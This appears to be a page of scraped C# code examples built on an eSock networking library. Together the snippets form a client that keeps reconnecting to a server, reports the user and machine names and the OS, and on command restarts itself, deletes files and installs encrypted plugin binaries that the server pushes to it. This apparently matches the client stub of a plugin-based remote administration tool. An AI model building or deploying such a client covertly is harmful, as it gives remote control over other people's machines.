Ejemplo n.º 1
0
        public static bool ConnectWithProxy(string proxyIP, int proxyPort, string targetIp, int targetPort, string username = "", string password = "")
        {
            _client = new eSock.Client();
            if (!_client.ConnectProxy(proxyIP, proxyPort, targetIp, targetPort, username, password))
            {
                return(false);
            }
            try
            {
                object[] data = _client.Send((byte)NetworkHeaders.Handshake);
                if ((NetworkHeaders)data[0] != NetworkHeaders.AcceptHandshake)
                {
                    return(false);
                }
                string encryptionKey = (string)data[1];

                _client.Encryption.EncryptionKey = encryptionKey;
                _client.Encryption.Enabled       = true;
                return(true);
            }
            catch
            {
                return(false);
            }
        }
Ejemplo n.º 2
0
        public static bool Connect(string ip, int port)
        {
            _client = new eSock.Client();
            if (!_client.Connect(ip, port))
            {
                return(false);
            }

            try
            {
                object[] data = _client.Send((byte)NetworkHeaders.Handshake);
                if ((NetworkHeaders)data[0] != NetworkHeaders.AcceptHandshake)
                {
                    return(false);
                }
                string encryptionKey = (string)data[1];

                _client.Encryption.EncryptionKey = encryptionKey;
                _client.Encryption.Enabled       = true;
                return(true);
            }
            catch
            {
                return(false);
            }
        }
Ejemplo n.º 3
0
 private static void NetworkClient_OnConnect(eSock.Client sender, bool success)
 {
     if (success)
     {
         Console.WriteLine("Connected!");
         foreach (var plugin in LoadedPlugins)
         {
             MLClientPlugin _plugin = plugin.Value;
             try
             {
                 _plugin.ClientPlugin.OnConnect();
             }
             catch (Exception ex)
             {
                 DisplayException(_plugin, ex);
             }
         }
         networkClient.Send(Guid.Empty, (byte)NetworkPacket.Handshake);
         Console.WriteLine("handshake sent");
     }
     else
     {
         Console.WriteLine("Failed to connect.");
         Thread.Sleep(5000);
         Connect();
     }
 }
Ejemplo n.º 4
0
        static void _client_OnDataRetrieved(eSock.Client sender, object[] data)
        {
            byte header = (byte)data[0];

            if (header == (byte)PacketHeader.FileTransferResponce)
            {
                FileHandle = (int)data[1];
            }
        }
Ejemplo n.º 5
0
 static void Connect()
 {
     Console.WriteLine("Connecting...");
     networkClient                  = new eSock.Client();
     networkClient.BufferSize       = 8192;
     networkClient.OnDataRetrieved += networkClient_OnDataRetrieved;
     networkClient.OnDisconnect    += networkClient_OnDisconnect;
     networkClient.OnConnect       += NetworkClient_OnConnect;
     networkClient.ConnectAsync(IP, Port);
 }
Ejemplo n.º 6
0
 static void Connect()
 {
     Console.WriteLine("Connecting...");
     networkClient = new eSock.Client();
     networkClient.BufferSize = 8192;
     networkClient.OnDataRetrieved += networkClient_OnDataRetrieved;
     networkClient.OnDisconnect += networkClient_OnDisconnect;
     networkClient.OnConnect += NetworkClient_OnConnect;
     networkClient.ConnectAsync(IP, Port);
 }
Ejemplo n.º 7
0
 static void networkClient_OnDisconnect(eSock.Client sender, System.Net.Sockets.SocketError ER)
 {
     foreach (var plugin in LoadedPlugins)
     {
         MLClientPlugin _plugin = plugin.Value;
         try
         {
             _plugin.ClientPlugin.OnDisconnect();
         }
         catch (Exception ex)
         {
             DisplayException(_plugin, ex);
         }
     }
     Console.WriteLine("Lost connection...");
     Thread.Sleep(5000);
     Connect();
 }
Ejemplo n.º 8
0
        static void networkClient_OnDataRetrieved(eSock.Client sender, object[] data)
        {
            try
            {
                Guid ID = (Guid)data[0];
                if (ID == Guid.Empty)
                {
                    var command = (NetworkPacket)data[1];
                    if (command == (byte)NetworkPacket.Restart)
                    {
                        Console.WriteLine("Restarting...");
                        //Console.ReadLine();
                        Process.Start(Assembly.GetExecutingAssembly().Location);
                        Environment.Exit(0);
                    }

                    if (command == NetworkPacket.DeletePlugin)
                    {
                        Guid PluginID = (Guid)data[2];
                        if (LoadedPlugins.ContainsKey(PluginID))
                        {
                            Console.WriteLine("Deleting plugin {0}", PluginID.ToString("n"));
                            File.Delete(LoadedPlugins[PluginID].Path);
                        }
                    }

                    if (command == NetworkPacket.UpdatePlugin)
                    {
                        Guid   PluginID   = (Guid)data[2];
                        byte[] Block      = (byte[])data[3];
                        bool   FinalBlock = (bool)data[4];

                        if (!PluginUpdates.ContainsKey(PluginID))
                        {
                            Rijndael rij           = new RijndaelManaged();
                            string   encString     = Guid.NewGuid().ToString("n");
                            byte[]   encryptionKey = eSock.Hashing.MD5Hash(encString);
                            rij.Key = encryptionKey;
                            rij.IV  = encryptionKey;
                            ICryptoTransform crypto = rij.CreateEncryptor();

                            FileStream update =
                                new FileStream(
                                    Path.Combine(PluginBaseLocation,
                                                 string.Format("{0}.{1}", PluginID.ToString("n"), encString)), FileMode.Create);
                            CryptoStream updateStream = new CryptoStream(update, crypto, CryptoStreamMode.Write);
                            PluginUpdates[PluginID] = updateStream;
                            Console.WriteLine("Started update for plugin id {0}", PluginID.ToString("n"));
                            if (LoadedPlugins.ContainsKey(PluginID))
                            {
                                File.Delete(LoadedPlugins[PluginID].Path);
                            }
                        }
                        Console.WriteLine("Plugin block ({0} bytes) recieved. ID: {1}", Block.Length, PluginID.ToString("n"));
                        PluginUpdates[PluginID].Write(Block, 0, Block.Length);
                        if (FinalBlock)
                        {
                            PluginUpdates[PluginID].Flush();
                            PluginUpdates[PluginID].Close();
                            PluginUpdates[PluginID].Dispose();
                            PluginUpdates.Remove(PluginID);
                            Console.WriteLine("Finished update for plugin id {0}", PluginID.ToString("n"));
                        }
                    }

                    if (command == NetworkPacket.PluginsVerified)
                    {
                        /*
                         * Dictionary<string, object> Settings = new Dictionary<string, object>()
                         * {
                         *  {"Username", string.Format("{0}/{1}", Environment.UserName, Environment.MachineName)},
                         *  {"OS", Environment.OSVersion.ToString() },
                         *  {"Cores", Environment.ProcessorCount.ToString() },
                         *  {"Path", Assembly.GetExecutingAssembly().Location }
                         * };
                         * networkClient.SendWait(Guid.Empty, (byte)NetworkPacket.UpdateSettingsDictionary, Settings);
                         * networkClient.SendWait(Guid.Empty, (byte)NetworkPacket.BasicSettingsUpdated);
                         */
                        networkClient.Send(Guid.Empty, (byte)NetworkPacket.UpdateSetting, "Username", string.Format("{0}/{1}", Environment.UserName, Environment.MachineName));
                        networkClient.Send(Guid.Empty, (byte)NetworkPacket.UpdateSetting, "OS", Environment.OSVersion.ToString());
                        networkClient.Send(Guid.Empty, (byte)NetworkPacket.UpdateSetting, "Cores", Environment.ProcessorCount.ToString());
                        networkClient.Send(Guid.Empty, (byte)NetworkPacket.BasicSettingsUpdated);
                    }


                    if (command == NetworkPacket.Connect)
                    {
                        networkClient.Encryption.Key     = (string)data[2];
                        networkClient.Encryption.Enabled = true;
                        Console.WriteLine("Encryption Enabled: {0}", networkClient.Encryption.Enabled);
                        Console.WriteLine("Encryption key set ({0})", networkClient.Encryption.Key);

                        SendChecksums();
                    }
                }

                if (LoadedPlugins.ContainsKey(ID))
                {
                    try
                    {
                        LoadedPlugins[ID].ClientPlugin.OnDataRecieved((object[])data[1]);
                    }
                    catch (Exception ex)
                    {
                        DisplayException(LoadedPlugins[ID], ex);
                    }
                }
            }
            catch (Exception ex)
            {
                DisplayException(null, ex);
            }
        }
Ejemplo n.º 9
0
 static void _client_OnDisconnect(eSock.Client sender, System.Net.Sockets.SocketError ER)
 {
     Connected = false;
 }